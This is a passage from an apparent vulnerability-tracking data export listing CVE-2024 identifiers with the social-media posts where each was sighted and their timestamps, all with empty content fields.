"source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpod3ge2q", "content": "", "creation_timestamp": "2025-01-07T06:33:17.911497Z"}, {"uuid": "35f8b0f6-dd24-4b8b-a553-49f9b2bc7fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12384", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpogttq2y", "content": "", "creation_timestamp": "2025-01-07T06:33:18.442436Z"}, {"uuid": "53810789-dda5-4ee4-94dd-d5deede4342b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpopd7k2g", "content": "", "creation_timestamp": "2025-01-07T06:33:19.542241Z"}, {"uuid": "361aeae0-8b32-4cdd-99c7-56ff09c8dc5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12505", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgqkprwhk2e", "content": "", "creation_timestamp": "2025-01-11T03:15:59.924301Z"}, {"uuid": "116e9f22-d99a-43fa-a13d-5e6962ba2a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12855", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7yqhwqyv2h", "content": "", "creation_timestamp": "2025-01-08T10:53:45.493261Z"}, {"uuid": "fe11def6-21ac-47b4-8959-fe66f438940e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113822502051441311", "content": "", "creation_timestamp": "2025-01-13T18:39:10.455893Z"}, {"uuid": "5a4f66f8-c295-44dc-b685-bd24ff4d24ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113822502051441311", "content": "", "creation_timestamp": "2025-01-13T18:39:10.497019Z"}, {"uuid": "745da44c-4861-4d5f-96a0-f9a5c282d78c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113822502051441311", "content": "", "creation_timestamp": "2025-01-13T18:39:10.538395Z"}, {"uuid": "b2456d00-e5c6-4480-8377-c9c34717e9ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113822502051441311", "content": "", "creation_timestamp": "2025-01-13T18:39:10.658960Z"}, {"uuid": "0ebfa5cb-0e0b-45fe-a742-ad1b2ad9d209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113833017944901379", "content": "", "creation_timestamp": "2025-01-15T15:13:29.919794Z"}, {"uuid": "c127247a-16b2-436e-a9db-a0b3f8174837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7yqi254g2w", "content": "", "creation_timestamp": "2025-01-08T10:53:46.072896Z"}, {"uuid": "0627bb19-0cd1-41b3-bf8c-d7c0ebf350fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113799182687696299", "content": "", "creation_timestamp": "2025-01-09T15:48:44.873757Z"}, {"uuid": "9f23350b-8fa5-43a9-8f34-b6a191ed62ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfs2ngcqry2r", "content": "", "creation_timestamp": "2025-01-15T15:15:45.216119Z"}, {"uuid": "69d90931-bdc7-4f6c-9eab-44680c8e4299", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12613", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfu46mwo5b2u", "content": "", "creation_timestamp": "2025-01-16T10:48:35.706290Z"}, {"uuid": "01452138-4ca6-46bb-b65e-4e99ba576c7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12583", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lf4q6rtkck22", "content": "", "creation_timestamp": "2025-01-07T03:42:43.465948Z"}, {"uuid": "2a640d85-489a-42e6-9059-f99208ed28ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12328", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7yqiprgp2q", "content": "", "creation_timestamp": "2025-01-08T10:53:49.204943Z"}, {"uuid": "fcb05d93-638a-43ba-8dc2-ab307004fb23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfomasfcjn2z", "content": "", "creation_timestamp": "2025-01-14T06:20:10.760643Z"}, {"uuid": "f5535626-db69-4a5d-9dcf-1bb1b86f2e57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12022", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785005172029402", "content": "", "creation_timestamp": "2025-01-07T03:43:12.879819Z"}, {"uuid": "3b8b4a63-02b1-4cfc-b709-d86e3932ffd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12098", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785005186555443", "content": "", "creation_timestamp": "2025-01-07T03:43:13.238600Z"}, {"uuid": "99b12f97-e984-420c-8f23-dbb25420c15a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12402", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785005203464416", "content": "", "creation_timestamp": "2025-01-07T03:43:13.493073Z"}, {"uuid": "27c149b8-29ab-41ef-89bd-584a7ba7e6bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12261", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpnhjfa2b", "content": "", "creation_timestamp": "2025-01-07T06:33:14.064873Z"}, {"uuid": "33bcbeaf-92fc-43c0-9202-94580dfec51e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12440", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpnqlcr2u", "content": "", "creation_timestamp": "2025-01-07T06:33:15.141655Z"}, {"uuid": "0d5174dd-af06-499f-86c6-84cd486abe8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12383", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpo7xys2g", "content": "", "creation_timestamp": "2025-01-07T06:33:17.349787Z"}, {"uuid": "986c4d0a-505a-480e-8196-8e452bd500cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12131", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5sd4usyu2q", "content": "", "creation_timestamp": "2025-01-07T13:53:34.906968Z"}, {"uuid": "56379d21-9fa2-436c-8269-85273873dc31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12416", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785005219598891", "content": "", "creation_timestamp": "2025-01-07T03:43:13.688812Z"}, {"uuid": "c7ad40e7-d618-463e-b781-8d5003e29e72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12073", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpnn76s2e", "content": "", "creation_timestamp": "2025-01-07T06:33:14.624833Z"}, {"uuid": "278016ca-c665-407c-b5ab-6e26ba1cfd86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpntwz72h", "content": "", "creation_timestamp": "2025-01-07T06:33:15.704207Z"}, {"uuid": "9048c406-de87-41e9-aad3-0ada664ffcf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12464", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpo4pj22g", "content": "", "creation_timestamp": "2025-01-07T06:33:16.805309Z"}, {"uuid": "e79cecc8-f22f-40cc-b605-d1c7ef6fc950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788120858254362", "content": "", "creation_timestamp": "2025-01-07T16:55:34.468880Z"}, {"uuid": "282290d9-4e07-4c74-a757-c58fa31b20f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12712", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7yqidwk42k", "content": "", "creation_timestamp": "2025-01-08T10:53:47.661625Z"}, {"uuid": "9c40d209-fa0c-4bfe-8092-8f0e970ab845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12439", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4zpolz2r2q", "content": "", "creation_timestamp": "2025-01-07T06:33:19.054552Z"}, {"uuid": "2ca90f8b-f1a3-437d-91ac-a68e2996ecab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5sd5duoz2k", "content": "", "creation_timestamp": "2025-01-07T13:53:35.781261Z"}, {"uuid": "9004d771-df9e-4da8-a98b-9d7a81ed898d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/schubringglobal.bsky.social/post/3lfd2dkoyuh2c", "content": "", "creation_timestamp": "2025-01-09T16:00:20.199841Z"}, {"uuid": "ed14e77e-57a0-4d38-a101-11dc7d49fff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12403", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfrmbnoe6s2q", "content": "", "creation_timestamp": "2025-01-15T10:58:37.947089Z"}, {"uuid": "ece2ab9b-3826-47cc-84d3-07198d338982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12614", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfu46oydey2h", "content": "", "creation_timestamp": "2025-01-16T10:48:38.462204Z"}, {"uuid": "075ef41b-6e18-43ad-a696-4b030fc40688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785676301641015", "content": "", "creation_timestamp": "2025-01-07T06:33:54.734527Z"}, {"uuid": "ddc404f2-25d4-452c-9fba-60e2d2f2e45b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12738", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5sd5hann2h", "content": "", "creation_timestamp": "2025-01-07T13:53:36.237662Z"}, {"uuid": "16ae905a-8da0-4d3d-a3bc-0121919432cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12427", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfu46p6sd72r", "content": "", "creation_timestamp": "2025-01-16T10:48:39.049458Z"}, {"uuid": "183959f4-99e0-4a29-8993-0798f8523327", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12304", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807580855173158", "content": "", "creation_timestamp": "2025-01-11T03:24:31.629355Z"}, {"uuid": "068a0795-439b-42dc-8038-ce93d45a41b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12423", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfrmbonces2e", "content": "", "creation_timestamp": "2025-01-15T10:58:40.771685Z"}, {"uuid": "d14da0d3-d248-491a-b8b0-194de29e14c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12337", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113792436170808261", "content": "", "creation_timestamp": "2025-01-08T11:13:01.144038Z"}, {"uuid": "6fb2bca3-c17e-4182-9f54-acd9f86ab9a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://seclists.org/bugtraq/2013/Jun/8", "content": "", "creation_timestamp": "2013-05-31T11:34:13.000000Z"}, {"uuid": "046b2f56-faa9-4ccf-8a61-9dce2c58d0b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12818", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfrmboekw32u", "content": "", "creation_timestamp": "2025-01-15T10:58:39.741351Z"}, {"uuid": "0a136dd9-8be7-4dda-875a-4ca4a94a8b43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12419", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785064242184668", "content": "", "creation_timestamp": "2025-01-07T03:58:14.427384Z"}, {"uuid": "f8386730-0279-490c-8bb6-ebfe9a873654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfrmbojwna2k", "content": "", "creation_timestamp": "2025-01-15T10:58:40.262027Z"}, {"uuid": "6538aac0-e2b7-4bb7-b3bc-9668d798446e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12528", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785064277532854", "content": "", "creation_timestamp": "2025-01-07T03:58:14.804417Z"}, {"uuid": "892b142c-d7d0-4679-9cb7-16678e9de282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12437", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785725707848489", "content": "", "creation_timestamp": "2025-01-07T06:46:27.446627Z"}, {"uuid": "3fa8c0f8-4746-4ff8-9921-7e4c5306f5fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf65miqw7v2e", "content": "", "creation_timestamp": "2025-01-07T17:15:40.938643Z"}, {"uuid": "a9dc866c-20e3-4be9-ac09-fa29558176ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12538", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785064291904237", "content": "", "creation_timestamp": "2025-01-07T03:58:15.074348Z"}, {"uuid": "e3666622-678f-4808-aed9-5dc1a85dba1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12430", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf65mljqyn2e", "content": "", "creation_timestamp": "2025-01-07T17:15:43.764312Z"}, {"uuid": "6f46f424-ea9e-43fa-92ee-d13db403537e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12337", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7zxsnpbw2a", "content": "", "creation_timestamp": "2025-01-08T11:15:44.438765Z"}, {"uuid": "dcef1c8f-284c-489f-84d6-d3bcf635ff38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12540", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785064306284750", "content": "", "creation_timestamp": "2025-01-07T03:58:16.250450Z"}, {"uuid": "8fc7c1aa-bf34-417e-8a73-c2e271dae4e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785733236191116", "content": "", "creation_timestamp": "2025-01-07T06:48:22.536194Z"}, {"uuid": "28cf6623-ec53-491c-b385-b48bef664970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf65mljqyn2e", "content": "", "creation_timestamp": "2025-01-07T17:15:43.803878Z"}, {"uuid": "c4b48393-f945-442f-9ec2-6b6eac372c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785733275961310", "content": "", "creation_timestamp": "2025-01-07T06:48:23.180514Z"}, {"uuid": "4d603213-0cb7-4553-9455-dfc1789afc14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lfgslq7fg22i", "content": "", "creation_timestamp": "2025-01-11T03:52:26.103158Z"}, {"uuid": "d5f90565-1477-405d-9340-c3c854013638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113825391866727615", "content": "", "creation_timestamp": "2025-01-14T06:54:04.861134Z"}, {"uuid": "5e637b50-3b23-406c-b72a-c28378cdb798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf534f367h2h", "content": "", "creation_timestamp": "2025-01-07T06:58:12.555006Z"}, {"uuid": "e3f59900-ba2f-4d5a-a373-574f25b8d0e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12337", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfa43vg36z2b", "content": "", "creation_timestamp": "2025-01-08T11:53:50.071581Z"}, {"uuid": "eef028f5-0936-47fb-8748-53ea22ecbcdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfgta3nfqg2e", "content": "", "creation_timestamp": "2025-01-11T04:03:44.396495Z"}, {"uuid": "217ea17a-8319-4be0-bff4-0f1e10a7d038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12633", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf534f6nuw2w", "content": "", "creation_timestamp": "2025-01-07T06:58:12.984601Z"}, {"uuid": "43809f2e-2c88-417a-a2f9-703501d05ca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12624", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785784763069461", "content": "", "creation_timestamp": "2025-01-07T07:01:28.565681Z"}, {"uuid": "b532f5f1-9309-4f7b-8067-6ad1d6e4d2d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12204", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfgta4aycc2r", "content": "", "creation_timestamp": "2025-01-11T04:03:46.274864Z"}, {"uuid": "3ce253e8-b5cc-4203-a427-c98afd2efc44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12541", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785123309410684", "content": "", "creation_timestamp": "2025-01-07T04:13:15.570275Z"}, {"uuid": "ca02c9a2-c7cb-4116-bace-fb3f49777157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12495", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785784712069765", "content": "", "creation_timestamp": "2025-01-07T07:01:27.809163Z"}, {"uuid": "98dce4fb-708d-4c4c-ad8b-a2e9cbd4738d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113797613241927061", "content": "", "creation_timestamp": "2025-01-09T09:09:36.829548Z"}, {"uuid": "d4fbc791-36cf-43b7-bb38-4baf785703ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12472", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfgta45ppk2q", "content": "", "creation_timestamp": "2025-01-11T04:03:45.732664Z"}, {"uuid": "21a4a76f-cf08-4c0d-89a3-c6cb7dd99309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113825455589276906", "content": "", "creation_timestamp": "2025-01-14T07:10:21.020586Z"}, {"uuid": "3ab1eaf4-adf4-427e-9ffb-67631d0d5eb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12557", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785123325157140", "content": "", "creation_timestamp": "2025-01-07T04:13:15.993232Z"}, {"uuid": "895d2490-ca77-494c-a44d-83fd9829eec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12499", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785784728547244", "content": "", "creation_timestamp": "2025-01-07T07:01:28.091437Z"}, {"uuid": "61b7e6ab-22e1-4090-971f-6ff82b8a8d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12627", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfgta4e4s22q", "content": "", "creation_timestamp": "2025-01-11T04:03:46.863978Z"}, {"uuid": "e6937418-ab18-4c91-88f1-215392d7abe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12559", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785123339765760", "content": "", "creation_timestamp": "2025-01-07T04:13:18.616358Z"}, {"uuid": "f595a5e1-5cef-4c3a-a9ee-722065244e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785784777858979", "content": "", "creation_timestamp": "2025-01-07T07:01:29.451449Z"}, {"uuid": "37c5efd3-8692-43f0-bb46-0c3014838379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcdpg5lmk2i", "content": "", "creation_timestamp": "2025-01-09T09:15:20.074680Z"}, {"uuid": "7ab473cc-73a3-4c76-aec6-277ff08478e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12006", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113825455573584450", "content": "", "creation_timestamp": "2025-01-14T07:10:21.103609Z"}, {"uuid": "57de9d56-0ec6-441e-beb7-f90e8d9abdb3", 